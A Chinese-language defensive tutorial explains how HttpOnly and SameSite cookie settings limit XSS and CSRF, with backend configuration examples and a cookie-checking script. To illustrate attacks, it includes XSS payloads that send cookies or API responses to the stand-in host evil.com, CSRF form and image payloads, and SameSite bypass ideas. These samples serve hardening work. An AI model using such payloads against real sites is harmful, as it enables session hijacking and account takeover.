HttpOnly + SameSite Cookie 实战:XSS 和 CSRF 的最后一道防线

一、先看一个"反常识"的事实

当你的网站存在 XSS 漏洞时:

你做了什么 攻击者能窃取 Cookie 值吗
❌ 什么都没做 ✅ 能。document.cookie 直接读到所有 Cookie
✅ 设了 HttpOnly ❌ 不能。document.cookie 返回空字符串
✅ 设了 SameSite ⚠️ 不能完全阻止 Cookie 发送(见下文)
✅ HttpOnly + SameSite 🛡️ 大幅提升防御深度

这两个属性是缓解 XSS 危害最有效的手段之一。但很多开发者对它们一知半解,本文系统讲解。


二、浏览器 Cookie 基础

2.1 Cookie 的类型

Set-Cookie: session_id=abc123; Domain=victim.com; Path=/; HttpOnly; Secure; SameSite=Lax

一个 Cookie 可以带的属性:

属性 作用 是否安全相关
Domain 决定哪些域名能收到这个 Cookie 是(不要设过宽)
Path 决定哪些 URL 路径能收到 是
Expires / Max-Age 过期时间 否
Secure 只在 HTTPS 下发送 是
HttpOnly JS 无法通过 document.cookie 读取 核心
SameSite 跨站请求时是否携带 Cookie 核心
Priority Cookie 优先级(Chroma 新特性) 轻微
Partitioned 分区 Cookie(隐私沙箱) 未来趋势

2.2 浏览器发送 Cookie 的规则

每次浏览器向服务器发请求时,会自动把符合条件的 Cookie 放到 HTTP 请求头:

GET /api/profile HTTP/1.1
Host: victim.com
Cookie: session_id=abc123; cart=item1
User-Agent: Mozilla/5.0 ...

服务器不会收到 HttpOnly 这个"标记",HttpOnly 只是浏览器层面告诉 JavaScript:"你不许读这个 Cookie"。浏览器自己发请求时依然会带上它。


三、HttpOnly 深度解析

3.1 原理

HttpOnly Cookie 的核心规则:

浏览器发请求时正常携带;JavaScript 的 document.cookie 接口看不到它。

// 如果 session_id 设了 HttpOnly
console.log(document.cookie);  // 输出 "cart=item1" —— 没有 session_id
// 但 fetch('https://victim.com/api/profile') 依然会自动带上 session_id

3.2 为什么能缓解 XSS

回到之前的存储型 XSS 场景:

如果没有 HttpOnly:

// 攻击者注入的 Payload
fetch('https://evil.com/steal?c=' + document.cookie);
// document.cookie = "session_id=abc123; user_role=admin"
// 攻击者完整拿到会话令牌 → 直接接管

如果设了 HttpOnly:

// 攻击者注入的 Payload
fetch('https://evil.com/steal?c=' + document.cookie);
// document.cookie = "" (空!)
// 攻击者拿不到 Cookie 值

3.3 HttpOnly ≠ 100% 安全

虽然攻击者读不到 Cookie 值,但浏览器发请求时依然会自动带上——这就引出了另一个攻击向量:

利用浏览器自动携带做 CSRF / 带 Cookie 的 XHR

// 攻击者通过 XSS 在受害者浏览器中执行
// 即使没有 Cookie 值,也能"借用"受害者的登录态发请求
fetch('https://victim.com/api/settings/change-password', {
    method: 'POST',
    credentials: 'include',   // 带上 Cookie(包括 HttpOnly 的!)
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        new_password: 'hacked123'
    })
});
// 服务器会把这当成"受害者本人"发起的请求,执行改密

这就是为什么 HttpOnly 只是第一道防线,SameSite 和 CSRF Token 是第二道防线。

3.4 后端配置 HttpOnly

Node.js (Express + Cookie-parser)

const express = require('express');
const cookieParser = require('cookie-parser');

const app = express();
app.use(cookieParser());

// 方案 A:用 cookie-parser 的 res.cookie()
app.post('/login', (req, res) => {
    const sessionId = generateRandomToken();
    res.cookie('session_id', sessionId, {
        httpOnly: true,      // ✅ JS 不可读
        secure: true,        // ✅ 只 HTTPS 下发送
        sameSite: 'lax',     // ✅ 跨站不发
        path: '/',           // 全站路径有效
        maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 天
        domain: 'victim.com',
        signed: true         // 防篡改(cookie-parser 内置签名)
    });
    res.json({ success: true });
});

// 方案 B:Session 中间件(connect-session + redis-store)
const session = require('express-session');
app.use(session({
    secret: process.env.SESSION_SECRET,
    store: new RedisStore({ client: redisClient }),
    resave: false,
    saveUninitialized: false,
    cookie: {
        httpOnly: true,
        secure: true,
        sameSite: 'lax',
        maxAge: 7 * 24 * 60 * 60 * 1000
    }
}));

PHP

<?php
// 设置单个 Cookie
session_set_cookie_params([
    'lifetime' => 7 * 24 * 60 * 60,
    'path'     => '/',
    'domain'   => 'victim.com',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax'  // PHP 7.3+ 支持
]);
session_start();

// 或手动 setcookie
setcookie('session_id', $sessionId, [
    'expires'  => time() + 86400 * 7,
    'path'     => '/',
    'domain'   => '.victim.com',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax'
]);
?>

Python (Flask)

from flask import Flask, make_response, session

app = Flask(__name__)
app.secret_key = 'your-secret-key'

# Flask session cookie 默认就有 HttpOnly,但 Secure 和 SameSite 需手动加
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE']   = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = 7 * 24 * 60 * 60

# 手动设置
@app.route('/login')
def login():
    resp = make_response('ok')
    resp.set_cookie(
        'session_id',
        session_id,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=86400 * 7,
        path='/',
        domain='.victim.com'
    )
    return resp

手动 Set-Cookie 响应头

Set-Cookie: session_id=abc123; Domain=.victim.com; Path=/; Expires=Wed, 13 Aug 2026 12:00:00 GMT; HttpOnly; Secure; SameSite=Lax

3.5 如何验证 HttpOnly 生效

方法 A:Chrome DevTools

  1. 打开 Victim.com 登录
  2. DevTools → Application → Storage → Cookies
  3. 查看右侧表格的 HttpOnly 列,应该显示 ✅ 勾

方法 B:Console 检查

// Console 里输入:
document.cookie
// 如果返回空字符串或不包含 session_id → 说明 HttpOnly 生效
// (注意:Secure Cookie 在 HTTP 页面上也看不到,但这是 Secure 的效果)

方法 C:curl 看响应头

curl -I https://victim.com/api/login   -X POST -d 'username=test&password=test'
# 响应头中应看到:
# Set-Cookie: session_id=xxx; HttpOnly; Secure; SameSite=Lax

四、SameSite 深度解析

4.1 核心问题:什么是"跨站"

浏览器判断跨站的标准是:

站点 = 协议 + 主域名(eTLD+1)

URL A URL B 同站? 原因
https://victim.com https://victim.com/login ✅ 同站 完全相同
https://victim.com https://api.victim.com ✅ 同站 主域 victim.com 相同
https://victim.com https://victim.com:8080 ✅ 同站 端口不算在"站"里(但算在"同源"里)
https://victim.com https://attacker.com ❌ 跨站 主域不同
https://victim.github.io https://other.github.io ❌ 跨站 github.io 是公共后缀,主域是 sub.github.io

4.2 SameSite 三个取值

值 行为 推荐
Strict 任何跨站请求都不携带 Cookie 🔒 最严格,部分功能会受影响
Lax 顶级导航 GET 请求(如用户点击链接跳转)才携带 Cookie ✅ 推荐默认值
None 任何请求都携带(必须同时设 Secure) ⚠️ 仅跨站认证场景用

直观理解

假设 Cookie: session_id=abc SameSite=Lax

场景 1:用户点击 https://evil.com 上的链接跳转到 victim.com
→ 会携带 session_id(顶级导航 GET ✅ Lax 允许)

场景 2:evil.com 用 <iframe src="https://victim.com/page">
→ 不会携带 session_id(iframe 是嵌入加载 ❌ Lax 拒绝)

场景 3:evil.com 的 JS 发起 fetch('https://victim.com/api')
→ 不会携带 session_id(XHR/fetch ❌ Lax 拒绝)

场景 4:victim.com 页面内 fetch('/api/other')
→ 会携带 session_id(同站 ✅)

4.3 SameSite 与 CSRF 的关系

经典 CSRF 攻击场景:

<!-- evil.com 上的页面 -->
<form action="https://victim.com/api/transfer-money" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000">
    <input type="submit" value="点击抽奖">
</form>
<!-- 或 -->
<img src="https://victim.com/api/transfer-money?to=attacker&amount=1000">

如果 Cookie 设了 SameSite=Lax:

攻击方式 是否携带 Cookie CSRF 成功?
受害者点表单 submit → POST ❌ 不携带 ❌ 失败
用 <img src> 发 GET ❌ 不携带 ❌ 失败
用 <a href> 点链接 → 顶级导航 GET ✅ 携带 ⚠️ 可能成功
用 fetch/XHR ❌ 不携带 ❌ 失败

SameSite=Lax 挡住了绝大多数经典 CSRF 场景。SameSite=Strict 还能挡住顶级导航 GET。

4.4 SameSite=None 的坑

如果你需要跨站携带 Cookie(比如 SSO 单点登录、嵌入第三方应用),必须设:

Set-Cookie: session_id=xxx; SameSite=None; Secure; HttpOnly

注意:现代浏览器(Chrome 80+、Firefox 75+)强制要求:SameSite=None 必须同时带 Secure,否则浏览器会把它当作 Lax,让你以为跨站 Cookie 发送成功了但其实被静默拦截。

4.5 实战中 SameSite 的选择

场景 推荐值
普通业务 Cookie(会话 Token) Lax 或 Strict
登录后重定向依赖 Cookie Lax(Strict 会挡掉登录后回跳)
SSO 跨站认证 None; Secure
API 用 Token 认证(非 Cookie) 可以不依赖 SameSite

五、HttpOnly + SameSite 的组合拳与局限

5.1 不同组合的防御效果

配置 XSS 窃取 Cookie 值 攻击者用 Cookie 发请求 CSRF
什么都没设 ✅ 能 ✅ 能 ✅ 成功
Only HttpOnly ❌ 不能 ✅ 能(浏览器自动带) ✅ 成功
Only SameSite=Lax ✅ 能 ✅ 能(跨站 fetch 不行) ⚠️ 部分失败
HttpOnly + SameSite=Lax ❌ 不能 ❌ 跨站不行;✅ 同站可以 ❌ 基本失败
HttpOnly + SameSite=Strict ❌ 不能 ❌ 跨站不行;✅ 同站可以 ❌ 彻底失败

5.2 绕过 HttpOnly 的思路

思路 1:XSS + fetch 跨域(不需要读 Cookie)

// 攻击者通过 XSS 在 victim.com 页面执行
// 即使拿不到 HttpOnly Cookie 的值,fetch 依然会自动带上它
fetch('https://victim.com/api/account', {
    credentials: 'same-origin'
}).then(r => r.json())
  .then(data => {
      // 把 API 响应发给攻击者
      fetch('https://evil.com/collect', {
          method: 'POST',
          body: JSON.stringify(data)
      });
  });
// 这就是"不窃取 Cookie 值,直接用受害者身份做事"
// SameSite=Lax 对同站 fetch 不拦截,所以挡不住这种攻击

防御:API 层还要加 CSRF Token,且敏感操作要二次验证。

思路 2:利用服务器响应 Set-Cookie 端点

攻击者让服务器设置一个"可控"的 Cookie(比如让它把攻击者的输入作为 Cookie 值),然后再用非 HttpOnly Cookie 发起攻击。

思路 3:本地设备访问

如果攻击者能访问受害者的设备(病毒、浏览器扩展),可以直接读浏览器的 Cookie 数据库文件(Chrome 使用 LevelDB/SQLite 存储,master key 在系统密钥链里)。

5.3 绕过 SameSite 的思路

思路 1:打开新窗口(顶级导航)

// 通过 XSS 执行
window.open('https://victim.com/api/change-password?new=hacked123');
// 这是顶级导航 GET,SameSite=Lax 会携带 Cookie
// 如果 change-password 端点用 GET 而不是 POST → 被攻击成功

防御:敏感操作端点只接受 POST,并校验 CSRF Token。

思路 2:使用 URL 重定向链

evil.com/redirect?url=https://victim.com/api/transfer...
  ↓
evil.com 302 重定向到 victim.com/api/transfer...
  ↓
浏览器认为这是顶级导航(实际上是重定向链)
  ↓
SameSite=Lax 携带 Cookie

思路 3:使用 WebRTC / fetch keep-alive

某些场景下 fetch 的 keep-alive 会在导航时自动完成,但现代浏览器已修复。


六、完整的 Cookie 安全配置 Checklist

6.1 生产环境必须做到

✅ 所有 Cookie 默认 HttpOnly
✅ 所有 Cookie 默认 Secure
✅ 所有 Cookie 默认 SameSite=Lax 或 Strict
✅ 不要手动删除任何一个属性
✅ Session Cookie 的 Path 设为精确业务路径(不要 / 除非必要)
✅ Domain 不要设为顶级域(除非多子域共享)
✅ Cookie 值签名(防篡改)
✅ Cookie 值使用随机 Token(不是可预测值)
✅ Cookie 值足够长(至少 32 字节随机)

6.2 不要做的事

❌ 不要把 HttpOnly Cookie 设 Domain=.com(过宽)
❌ 不要在 JavaScript 中用 document.cookie 读取敏感 Cookie
❌ 不要把 SameSite=None 和非 Secure Cookie 配对
❌ 不要用 Cookie 直接存敏感数据(存 Session ID 即可)
❌ 不要把 Session Cookie 设成持久 Cookie(除非 remember-me 明确要求)

6.3 常见框架的默认配置

框架 HttpOnly 默认 Secure 默认 SameSite 默认
Express (express-session) ✅ true ❌ false(需手动开) ❌ 未设置
Django (Python) ✅ true ❌ false ❌ 未设置
Rails ✅ true ❌ false ✅ Lax (Rails 6+)
Flask ✅ true ❌ false ❌ 未设置
Spring Boot ✅ true ❌ false ❌ 未设置

→ 几乎所有框架都需要手动开启 Secure。这是 HTTPS 环境下最常见的遗漏之一。

6.4 测试你的 Cookie 配置

自动化测试脚本

# check_cookies.py
import requests
import sys

def check_security_cookies(url):
    resp = requests.get(url, allow_redirects=False)
    set_cookie = resp.headers.get('Set-Cookie', '')
    
    print(f"[*] Target: {url}")
    print(f"[*] Set-Cookie header: {set_cookie}")
    print()

    checks = [
        ('HttpOnly', 'httponly' in set_cookie.lower()),
        ('Secure',   'secure' in set_cookie.lower()),
        ('SameSite', 'samesite' in set_cookie.lower()),
    ]

    for name, ok in checks:
        status = '✅' if ok else '❌'
        print(f"  {status} {name}: {'OK' if ok else 'MISSING'}")

    if 'samesite' in set_cookie.lower():
        if 'samesite=none' in set_cookie.lower() and 'secure' not in set_cookie.lower():
            print("  ⚠️  SameSite=None 但没有 Secure —— 浏览器会降级为 Lax")

    return all(ok for _, ok in checks)

if __name__ == '__main__':
    url = sys.argv[1] if len(sys.argv) > 1 else 'https://localhost:3000/login'
    ok = check_security_cookies(url)
    sys.exit(0 if ok else 1)
python3 check_cookies.py https://victim.com/login
# [*] Target: https://victim.com/login
# [*] Set-Cookie header: session_id=xxx; HttpOnly; Secure; SameSite=Lax
#
#   ✅ HttpOnly: OK
#   ✅ Secure: OK
#   ✅ SameSite: OK

七、小结

HttpOnly 和 SameSite 不是银弹,但它们是XSS 和 CSRF 防御体系中性价比最高的两项配置:

  • HttpOnly 让攻击者即使执行了 XSS,也拿不到 Cookie 的值
  • SameSite 让攻击者即使知道 Cookie 的值,也发不出跨站的请求

两者叠加,再配上:

  • 后端 CSP(阻止 XSS payload 执行)
  • CSRF Token(即使同站 fetch 也需要)
  • 操作二次验证(改密、转账等敏感操作)
  • 敏感 API 的 IP 白名单 / 设备指纹

就能把一个"有 XSS 漏洞的应用"的实际危害降到可控水平。

记住:安全是分层的。没有哪一层能单独扛住一切攻击,但每一层都要尽量做对。Cookie 安全就是最基础、最容易做对、也是最容易被忽视的那一层。